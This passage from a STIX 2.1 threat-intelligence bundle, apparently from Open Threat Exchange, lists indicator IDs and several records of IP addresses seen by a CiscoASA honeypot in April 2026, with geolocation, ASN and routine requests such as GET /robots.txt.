        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b0705290-1c18-49de-9422-f9de069480d0",
        "indicator--2c62911f-67a8-43b1-ab8a-1501365411bb",
        "indicator--f8647de8-40cc-4d9f-9efa-854c185d0480",
        "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
        "indicator--8d31598c-cce4-4294-8931-7d7d0fb5076f",
        "indicator--8e3eada1-f858-424d-b77b-aa7961e591d0",
        "indicator--e8bb1a9b-915e-48b1-923a-8841d130c402",
        "indicator--c8a1f9ae-13a4-4a47-8392-26479bbcbeab",
        "indicator--9057c6d4-b402-40d5-9765-e6ee810d223a",
        "indicator--1f910275-2fd2-450e-aaec-11f74b3ef3ee",
        "indicator--588f11ad-1b74-41a1-a33e-ad9499a086d6",
        "indicator--74de86e3-bb49-43ca-89b5-134f5156ecf2",
        "indicator--5a524877-d219-4c43-a921-5dacbd4aebb4",
        "indicator--9b89c09d-5cf6-403e-bcd6-3f41628f1121",
        "indicator--9eb4a15d-009d-4737-be9a-741b99dbd1de",
        "indicator--461ba26c-dcd1-4437-a38d-ddddacf7dfae",
        "indicator--a1c15586-21cd-43f4-8c3c-f2eb5f732cfd",
        "indicator--f150f702-3c00-4464-a725-d7bdfa00510c",
        "indicator--e178286d-cc94-49a8-9511-c7c7ee39df0e",
        "indicator--a996589d-1fa1-404a-b589-62662b175319",
        "indicator--1f5b6cdb-3e08-42e0-9bc9-941a87a70587",
        "indicator--51377c8c-d480-4950-96c5-eccbf0f2cda3",
        "indicator--e1543b3e-8c86-4e18-9f7e-d63f86b54659",
        "indicator--bab7b55b-2d4b-47de-aa58-878e3aaec822",
        "indicator--7ff91a35-13e1-4b52-a5cb-cd6fd235e6dd",
        "indicator--5ebd17c4-eaca-4a05-a407-03cabe1614dc",
        "indicator--d1db88a0-3f93-4bfa-91da-62f64d14ce26",
        "indicator--581e16db-525b-4b05-a2ec-43d2d5d89c25",
        "indicator--7c5db743-699e-4336-a8f1-e58eb2923ecc",
        "indicator--95847d69-379c-4375-8470-245812fa22ae",
        "indicator--a7fe1784-ef5f-40f5-aac9-07163c34792d",
        "indicator--4f815220-9af8-4b8b-b46f-877534954730",
        "indicator--7ececaa9-c17e-47e6-ab96-2d9ca4380983",
        "indicator--5e3f321c-4ab0-451d-9d32-6a2e8e6b021f",
        "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
        "indicator--963d6f50-2313-4b3f-ab8f-dc5af4927a96",
        "indicator--52a7aff2-7a72-4054-a1c3-acf9e74c5dfc",
        "indicator--d6447a14-efdf-4d4c-ba08-1bd787efa579",
        "indicator--030e33c4-87d8-4b74-90b5-a31d478a4627",
        "indicator--1cb86aaa-70c6-4e97-822d-83f84514202c",
        "indicator--273a0a4d-05b2-48ac-8d81-97299045cb00",
        "indicator--c5762340-8aee-4179-ad08-118657671c95",
        "indicator--09f77cc0-e804-4897-a6dc-e886ac6e69eb",
        "indicator--7c5adef5-58c8-419a-83c7-6ec710d6358f",
        "indicator--9202bf38-48c7-4f1b-aa7c-406119bc0ec4",
        "indicator--a3efd667-8dcb-4aa9-a81e-f718a7031d34",
        "indicator--ec27a1b0-c194-420c-ba29-53f55ec085df",
        "indicator--92ff2b4c-d1ba-48a0-9507-c5a17fba775f",
        "indicator--19909286-5bcf-4e0b-9061-1e3f4e5054a0",
        "indicator--a3916753-00ef-45ce-bdb3-228734eb50fe",
        "indicator--5dc1b190-7706-4dde-8084-5a151dbce315",
        "indicator--fcf23f2f-2658-4185-951e-f0a96105103e",
        "indicator--c0698191-d39a-480d-8d42-35b7e893f341",
        "indicator--138d6587-76e6-4a4d-bf92-b73d0d080164",
        "indicator--bbbe0637-3bf0-4ab0-a7a2-a1507b9c95ba",
        "indicator--2290d769-fced-4a98-9949-0703b4a754af",
        "indicator--2f2a1e23-284f-4251-9f1a-69c6a48fae2c",
        "indicator--906a9d37-d4c4-4567-ac8d-e854fd04757e",
        "indicator--d8b0619b-8156-4d1a-89d7-3a859dc3c765",
        "indicator--a28398fc-e228-483c-9213-eab7971de642",
        "indicator--3aa55624-d11f-4fd4-967a-a1df48721174",
        "indicator--0c2698c6-3fd0-4c76-81dd-0b817ed4befc",
        "indicator--ad84fded-5610-41fe-8e9a-29b3b370f586",
        "indicator--9c4d2842-7ba4-4dd5-ba57-975a6590750c",
        "indicator--8772070f-e5fb-46d6-8218-a61c22aea2f5",
        "indicator--b78d08b7-ac44-4735-b8c2-cb707f80892b",
        "indicator--4cafa6cf-c4c6-4b1b-8b97-8999b5251847",
        "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
        "indicator--694c8709-6da3-4868-afec-5d90a85b1017",
        "indicator--f27098c9-23b6-4883-80cf-a3cb2c3a8180",
        "indicator--6d26954d-7488-4d4b-8fdc-af8081409e3d",
        "indicator--6bc12b6e-452d-44e5-a698-a3b3a289f3ed",
        "indicator--5826df55-1684-4dd2-a271-b91e904e454b",
        "indicator--cc76a8de-c84d-4f09-ab5b-0878ce054fcd",
        "indicator--6754f016-2ee6-4125-b13d-6c3808f3e880",
        "indicator--21d9015e-47cb-4287-a041-8f0bb52607d5",
        "indicator--f88c74e8-0542-4da2-9fb4-413b2d15187f",
        "indicator--85de7e57-9c00-4f05-b4fb-e6c8ab751600",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--acedf1a3-a912-4cbd-8ecd-3d59223cf982",
        "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
        "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
        "indicator--44ed23da-528a-4a96-8d39-74fab6fe55b1",
        "indicator--9f1a48b4-a143-4367-a88c-2151e370128b",
        "indicator--1de07fcf-4193-4fca-ab0c-761b997baeb7",
        "indicator--67fe098a-b2b8-4b10-9ee0-f9ed80063553",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--8dd6d27d-8d6d-40ef-8eae-50ecafef4c0f",
        "indicator--d7cde675-6327-45aa-8155-2c0a3a2ee89e",
        "indicator--9bfe0030-5e16-4a31-8887-daf4174d3688",
        "indicator--c5fca775-f0d0-4a80-aeb6-c98668f01f4a",
        "indicator--47bdcba2-bac4-42c1-a843-98eeaccc6b82",
        "indicator--44d6f06b-e26d-4b06-b709-834ddebf8b6f",
        "indicator--1d8cfe3c-f652-4314-a3c4-bbc8d3f74905",
        "indicator--60a8f105-9bae-4526-8de6-0f31f38ffe39",
        "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
        "indicator--4df3f566-1f14-45d1-a092-721a589074a4",
        "indicator--df2c0606-7fd6-4524-aeed-11f422dbd858",
        "indicator--b7d0f0cb-da4d-4717-86a6-4640c6cc1933",
        "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
        "indicator--3c75293e-c0a4-4863-a06e-3ce21b12ea7d",
        "indicator--4919af2d-33a7-4dbb-8610-c884757f14b8",
        "indicator--30768490-d267-4a2b-b1bf-15504eb6f2b7",
        "indicator--75818323-1369-4d9c-89e6-662b7a996597",
        "indicator--4445c969-f6c0-4aeb-a0d2-fb50d8f2f0d5",
        "indicator--819b8e3e-bfb8-48fe-b97a-79730f623572",
        "indicator--65a3cbfb-bad0-49f4-bc93-fec4dfca4617",
        "indicator--aba1c87a-f802-4b0c-bfb9-0fe7ea3993ea",
        "indicator--d61f6f53-98e8-4437-af3b-e6de6babb933",
        "indicator--e32a66d7-68f2-4f3d-b09c-f5b70783b912",
        "indicator--e37b3700-a767-4047-9f93-398e87838af2",
        "indicator--ae615894-d612-4012-ae1c-e3cd57e0ed34",
        "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
        "indicator--999836af-6b2f-405a-a57d-45b7dbcc30b8",
        "indicator--087cf68d-c7af-4b33-9941-0aa085125ca0",
        "indicator--a6ea6fbd-6dbb-468f-8006-9ecba45a02ad",
        "indicator--68054dae-5c39-4830-a222-6e056599a473",
        "indicator--6b40c4a7-ae42-4137-81e9-f165b5bdc7ce",
        "indicator--4dc90a2e-8b84-42ce-a99c-ffdb297dc645",
        "indicator--258e9c44-48b7-4b27-9d83-a4aa7f5076fa",
        "indicator--c679497d-2118-4d39-9194-651c6d31f913",
        "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
        "indicator--f5211b49-0c59-4805-abe2-a870deff39ca",
        "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
        "indicator--61dded6e-b6b3-4c07-b295-ae5b401e6545",
        "indicator--df80ee9b-0244-41e5-ac52-d191fa030de6",
        "indicator--7a115470-acf7-4ac3-845b-b79f20b6bf37",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--e86e3934-d99e-4760-a3f3-377ec8f42cff",
        "indicator--dc2526f8-691d-4848-a6ae-69eed356c7ff",
        "indicator--cacbc805-a27c-47bc-8220-2cd84b73fcbf",
        "indicator--d3398724-c1c8-499a-8ab8-201acea1c93c",
        "indicator--b525ac95-ab58-44b7-8261-a115810855f6",
        "indicator--8ebba7d1-4537-4df0-b7e5-832e04c7581b",
        "indicator--7f91396d-d59e-45af-a311-b9c27429d683",
        "indicator--0fc4c120-185b-464e-99c2-eb9e24b7dd09",
        "indicator--18557674-26ce-434d-b5a0-c02a4675ee3d",
        "indicator--97a5c3e6-1327-4973-baf4-34ebd3c39846",
        "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
        "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--36514f23-5670-4d3a-abe8-3a787f54e6cf",
        "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
        "indicator--d8c432d5-538c-4589-aedf-2fa075336075",
        "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
        "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
        "indicator--cb92cea1-060d-482e-88e1-952af433cf82",
        "indicator--3f7c466f-d8be-4bf4-a27b-16cd34de821e",
        "indicator--b77c7464-3dce-4136-89f2-b439b5df1737",
        "indicator--228f8992-20f2-4b6d-b455-903a518672f9",
        "indicator--b42e0bf6-1f0d-4a40-82fa-4880dfa57762",
        "indicator--bf3471d6-4ed7-4672-bd33-28678ad5f4ee",
        "indicator--e038d426-3cb3-492d-a20a-6c9b4107bbb2",
        "indicator--11983208-90f1-4d0d-a171-19ea03f10a22",
        "indicator--f8512028-bb27-4489-ac44-b0e51cf3dc61",
        "indicator--222030e8-16aa-4547-a590-b67372aee4be",
        "indicator--5aa66620-ecf1-4bf2-a349-6ae11411a922",
        "indicator--795f755e-d7c1-4f1a-9a77-09fa33d1857b",
        "indicator--2c9f4167-274f-4a11-a384-6255ce9c22d9",
        "indicator--ab8c59f4-fa4d-4a08-ac7a-70d50bc6bdff",
        "indicator--ba8c5790-e886-4262-bd4e-f03f72d00771",
        "indicator--9e463cdf-35e3-48bd-b194-57e4317e1422",
        "indicator--fe4e0caa-b904-41ee-bc99-be99c952e90e",
        "indicator--3cf7ca23-a378-44b4-a11a-5f184c6f05c8",
        "indicator--8dbab2ac-9446-48d5-9957-b9159d1e319b",
        "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
        "indicator--ee21771f-d69e-41de-be8a-3911964402fe",
        "indicator--d31be816-c3fe-4fdf-bd38-c2d41bbc6c77",
        "indicator--aff1638e-86f8-4345-bbee-50cdc76e448b",
        "indicator--e972cc69-4c72-4c91-8979-e38239a241bb",
        "indicator--0e9d462d-8c8c-4c7d-9a35-cc0f7c6716b9",
        "indicator--905772b1-de1b-4fe2-8d94-1a6d405e0880",
        "indicator--a2b09df5-6fca-4a7a-bd63-83132767406d",
        "indicator--02a8c22c-b498-4968-95e8-2020541aea97",
        "indicator--d94a11fa-7c8d-4e49-a003-069a58dd0614",
        "indicator--17a59d16-5e52-4108-9527-10347a179698",
        "indicator--87811953-c1b1-4a42-b407-e915be75d6db",
        "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
        "indicator--ca524b6d-0e04-4411-81e1-1375d1031744",
        "indicator--ef944eef-cf64-42ea-a67e-bd70867a62e4",
        "indicator--9892ea31-8798-496b-890f-bb9dff6c1085",
        "indicator--4ad54749-58e0-4685-b710-ae003c7f44f7",
        "indicator--c3017dcd-9bd5-4722-819b-dff72c3a57cd",
        "indicator--bba8298a-8873-4cc5-aa48-c4a86968830f",
        "indicator--bcea692a-99d8-4a6b-a29e-3e6a40146ccd",
        "indicator--d6337791-4ad1-4395-a2cf-1ed9c1d98bed",
        "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
        "indicator--e3a2e689-ced0-495e-b92d-a3d4e8e14511",
        "indicator--f7ef926c-3899-4874-a60b-6551536b3146",
        "indicator--19beff39-c32e-4ecb-86f1-ac51e3772916",
        "indicator--5793b563-9dbc-456c-8eb5-2260da844a42",
        "indicator--669f4a9f-4957-43dc-a145-12e721096cec",
        "indicator--2735fe31-a916-4743-a478-ff0cb9289a59",
        "indicator--8bc8c1d2-b748-477c-a521-1af7811fcdaa",
        "indicator--02779a85-0fb9-4021-b237-5f701b281499",
        "indicator--0b2b025a-d9a8-464c-9838-70744c8f802f",
        "indicator--32428159-c9e3-4882-baaa-d70a4075fd37",
        "indicator--867df612-f1a4-4d40-9b2b-8b9f66ddfec7",
        "indicator--7867635d-6f5e-40da-bf11-679575fb8bcb",
        "indicator--49669dd1-70ba-4f6e-92dc-2e068e3fc1b6",
        "indicator--b98682d5-904f-4714-aa86-2a01c3f4e074",
        "indicator--592b40a5-32e9-4a50-9fc3-83768de0f858",
        "indicator--bdb7549a-1497-442c-8a30-9aa0d8f2fc12",
        "indicator--6b9a95a1-eb24-49ef-a5ac-b3a75b9150dd",
        "indicator--6bb8f759-d8b5-4a9d-b35e-7760b4981be0",
        "indicator--a0d93b94-67fd-484e-a9e9-627db5d7d98f",
        "indicator--ac28fbca-b175-4227-81de-3de571e43b20",
        "indicator--c1a85d5a-4b46-4025-acbe-902d5ad4fcb1",
        "indicator--86e78e36-2558-4211-982d-1cf55dbb3f8f",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--c77c4143-7ff5-468d-9540-440d7aa8dafd",
        "indicator--48003a9f-39b6-40a3-ad9a-1fb1cc4f67c7",
        "indicator--d9edc05e-8f41-4776-8284-70671902b54f",
        "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
        "indicator--ff9ff069-b2b0-4168-9a16-93223070220f",
        "indicator--0947eb8e-72d1-41da-8a07-47349638b117",
        "indicator--9a881028-4e82-4dbd-b64e-802ed1d98bb5",
        "indicator--ae1199d0-1dfe-4a0a-9999-56c076375221",
        "indicator--83f67ded-3e8d-4504-b39e-a018d357f974",
        "indicator--2ca53219-ec62-4ee9-8470-5d422fa4d552",
        "indicator--8d90b87d-026a-4f64-ad1b-2a7178250b12",
        "indicator--41e3bd74-b784-4866-aa53-d7fc878b46b0",
        "indicator--70b9c222-787a-41b9-85bc-f4a3bb8d5ce3",
        "indicator--270e5dbe-2463-4c42-be3f-274f17afadef",
        "indicator--fe41effc-af3f-459d-972a-04515e77cf2c",
        "indicator--79eb4006-fac5-47f9-867a-206a1c0b27a5",
        "indicator--0f100ead-1d8d-4151-bdf4-bca7c3728177",
        "indicator--b1d788ef-9ca5-4efc-9792-902a786c184d",
        "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
        "indicator--77975123-4a07-410b-8f7d-954d2476096f",
        "indicator--5ff2fb01-c675-4e8e-a4ce-82d7fd7b8acd",
        "indicator--35157e30-fbab-4322-a753-2ce82305fb91",
        "indicator--b76707c0-e039-4eb3-9d73-ebd29423a5dd",
        "indicator--9724abe9-96d3-4ed5-9f11-98082dd92592",
        "indicator--b9f79264-9c2d-4fd4-9830-238f11bed6a0",
        "indicator--52f75795-04cf-4139-bb98-de13fdc2f8d7",
        "indicator--aeb44b96-0ae8-4a86-a2e1-f8c610d67453",
        "indicator--2f439cb5-f5fb-4858-ba01-d2ea5981cf75",
        "indicator--405248a0-7b9d-40d9-b2e5-0408cb85ebb8",
        "indicator--6edf90db-c1a0-4fae-aa3d-c00fc65e26d5",
        "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
        "indicator--ec3d7b87-f5ff-48f3-a002-62f16cc1b3fe",
        "indicator--2243b288-c1df-4558-bf89-cfd48c1879ab",
        "indicator--d6264ab3-23df-481b-89da-e761c0bca2a0",
        "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
        "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
        "indicator--567ba472-af0b-4e0b-9f42-77dc97d2a0d1",
        "indicator--fa7f45ac-c493-4ac9-82a8-0479e571af5b",
        "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
        "indicator--12d9962d-9852-41c8-9ef1-4aac7de50aba",
        "indicator--520ad461-38e6-4828-961d-44e8363a55a1",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
        "indicator--33928a4d-7a40-40b0-8ad2-7ca07fd899a9",
        "indicator--796acbfa-3386-45b1-9d47-f3e000c56f24",
        "indicator--4ee30982-c395-4e00-9d67-935680ec95c4",
        "indicator--9657815e-65a9-4515-8b4a-312dbb9e0e54",
        "indicator--b5a667a5-1973-4a7b-aa5f-fcf46e525154",
        "indicator--873e143d-2f78-4114-96b1-d1ad29a10272",
        "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
        "indicator--648eaacf-439d-4531-a704-0df47060fd00",
        "indicator--406ccc66-5572-420f-a0e5-ef28ff6ca8a9",
        "indicator--c206b923-4b51-4bae-ab54-b2358489c453",
        "indicator--05ed3d73-1ca4-4b57-ba47-294205baed31",
        "indicator--d66dd694-67b9-43cc-b0b2-3a700261138f",
        "indicator--d4fad27c-226d-4466-9eee-a2c134d7332e",
        "indicator--0301bdac-ef44-442f-bb6b-0bd9acc2a23f",
        "indicator--2b40cbce-201b-404e-952e-d3fe53d6b122",
        "indicator--00920327-b599-428c-a027-56ed02955d99",
        "indicator--4f8d11b2-1959-4f2c-bb46-701341667631",
        "indicator--f549b065-35da-4185-a4f8-69593cf332b9",
        "indicator--4ec9f19e-f9cf-436d-bb5e-35c933c6ab60",
        "indicator--5da74445-56b2-44de-a214-2d5b792e04ea",
        "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
        "indicator--70994e22-8ae1-436f-b70f-475839800398",
        "indicator--d80f1b7c-9266-45cf-adf4-eebb46f3b7d7",
        "indicator--3973b7b3-7f3b-4548-a0aa-b1f668de6436",
        "indicator--0bd5662a-5234-4d76-b2c5-948b2f20f80e",
        "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
        "indicator--5894f0bb-fdb3-490d-8ce6-ad807bd38331",
        "indicator--9f53e5df-6ef1-4f7d-a9de-7c76d3c14077",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--9a688f65-a20a-4244-85b3-77f3042a801a",
        "indicator--4e25eec5-6ad2-493b-a769-641f043455d6",
        "indicator--7b3864b5-f2ee-4b3a-9cba-a5624ec42e8b",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--2333c239-df4b-40c7-8870-57dc1f9bbe43",
        "indicator--aac8cc82-3329-48d9-bb3e-80f2e61bdd87",
        "indicator--652d1395-6dca-4d52-a2e2-d754a9b3153c",
        "indicator--7ff18be9-4729-4005-ae3b-899439fea6fa",
        "indicator--ee354ff2-a18c-4854-9d42-316ec1a7f1f4",
        "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
        "indicator--0b550ad6-3ab5-42f8-a07b-f2ca577974a9",
        "indicator--c8c543c9-0de2-41c7-a82c-80dcf20a7fd9",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--c0e71386-8366-49e0-a7b9-15179fe35638",
        "indicator--456a97ff-6397-45db-a699-abc7fe9498f2",
        "indicator--cd8cdb13-f822-481d-a672-6e77fe22a1eb",
        "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
        "indicator--1e0705c4-6baf-4dae-82f2-ce317fe49115",
        "indicator--53ce8a51-b71d-4411-a28e-0fa1c25a858f",
        "indicator--cf5da06f-92c9-4600-b023-ed1be640b2e8",
        "indicator--ba76a02e-4a48-434e-8637-01e5a7d8b43a",
        "indicator--1b09353c-eaf7-4468-a134-a98256183fb8",
        "indicator--4da35233-61bb-4bf0-a690-f15345e866c5",
        "indicator--7908509f-9cc2-4b24-b26a-164b66fb91ad",
        "indicator--3333be09-c0cc-4e32-814d-e46844325cca",
        "indicator--b36c7055-b5f8-47bd-bfe5-a1af7d70cefa",
        "indicator--12e0bdc9-ec2a-4fd0-b689-11a494fccecc",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
        "indicator--785781be-e8d3-4038-9bca-03978c76cb69",
        "indicator--33084719-dfd5-499e-b210-92940aa30a5c",
        "indicator--7f04d81c-4b0c-441c-9b2c-f67c677fb8ad",
        "indicator--167af2fd-5a66-4ce3-8891-8b32b9373046",
        "indicator--4a3525aa-51b9-4214-9931-836e67cd319a",
        "indicator--6a02303e-20f7-4a86-9b29-69f28ac9b827",
        "indicator--5673d296-b69b-4724-b033-7a02f1cbb90c",
        "indicator--939bddcd-81e5-4238-a774-2b66eb4ae7b2",
        "indicator--12cdc7ae-59d2-4668-b259-dd7fc99d2406",
        "indicator--939b9f36-bfb4-48be-a92b-fac87a08820f",
        "indicator--855f6270-5ec0-4039-8fb1-cd3ced6f3a6d",
        "indicator--c0907e16-1036-4e95-957b-599c9e2d4d9d",
        "indicator--245048df-ef93-4310-9c26-af80fcc0d254",
        "indicator--4ddb73f1-754f-4860-a39b-2536190e2937",
        "indicator--8b4b01de-d857-4e32-aeb5-7b454ff14d0f",
        "indicator--6a2fb183-fbef-4147-8fa2-362ae410b124",
        "indicator--5ea6274a-12c3-4035-bbb4-c1ae78ea0295",
        "indicator--4ca6988e-0aa9-4028-941b-df453d6d0dc3",
        "indicator--028cda3d-e382-406c-b87d-9e8ee0e494a5",
        "indicator--e8e79fa0-b8d9-4709-b32c-1eda812eed8d",
        "indicator--2996d385-d8c9-4bfc-a5d4-409240841e60",
        "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
        "indicator--bebd3ec3-f076-4ba4-916c-605bdf3eed77",
        "indicator--0c013b8d-6f31-4c65-91a8-b11d529a4399",
        "indicator--af3c811d-3274-44cc-b953-b2f891f5b987",
        "indicator--c0158a08-2f90-44bc-8280-bff261b999f3",
        "indicator--e98711eb-ad08-4e3b-a2d2-96696d1681f8",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--8476e3fe-af28-46cd-a1fb-84f1a0ddf90a",
        "indicator--3146b924-d579-43f5-99c6-966c5e418360",
        "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
        "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
        "indicator--3e257495-b689-400d-8ca7-b07930c4bcb8",
        "indicator--3447c1e7-8680-43ed-8ba8-fe487aebaf37",
        "indicator--7445c675-2ebf-4d6c-a3b6-07c551125e33",
        "indicator--79f80971-1785-4533-b212-d048ac9a904c",
        "indicator--bc2688e9-d246-4a70-9ee5-c4e5f20ff156",
        "indicator--7e68bb24-57f8-4f3a-8397-fa5c3601da2e",
        "indicator--d24e4c72-269d-4049-b23c-c2a9d9bb2e80",
        "indicator--7e3fa205-1035-4692-a98c-f0f58a261023",
        "indicator--ece39427-11bd-4b57-82db-c2d590352783",
        "indicator--765cf875-b510-452d-9ef3-e6e29ba9cd98",
        "indicator--e1009262-4033-4e07-b1c1-daf390637dc2",
        "indicator--fd77d66a-6b60-47df-b6bb-5aeb606715f4",
        "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
        "indicator--b05d0bde-7b49-49b7-80ac-b4247fecd10a"
      ],
      "published": "2026-04-01T01:20:11.450Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-04-01T01:20:11.450Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-04-01T01:20:11.450Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: BR; ASN 28267 (LANTEC COMUNICACAO MULTIMIDIA LTDA)",
      "id": "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '187.108.1.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-01T00:21:00.817Z",
          "last_seen": "2026-04-26T17:57:21.643Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 28267,
          "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--66f52a28-3aab-42ef-9027-d908c0d60924",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.91.148.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-01T00:57:39.786Z",
          "last_seen": "2026-04-01T00:57:42.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0b031d5a-0a78-4814-b21e-cebd951e23e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '50.16.162.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T00:59:30.868Z",
          "last_seen": "2026-04-01T00:59:30.868Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.242.154.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T00:57:47.510Z",
          "last_seen": "2026-04-01T00:57:47.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
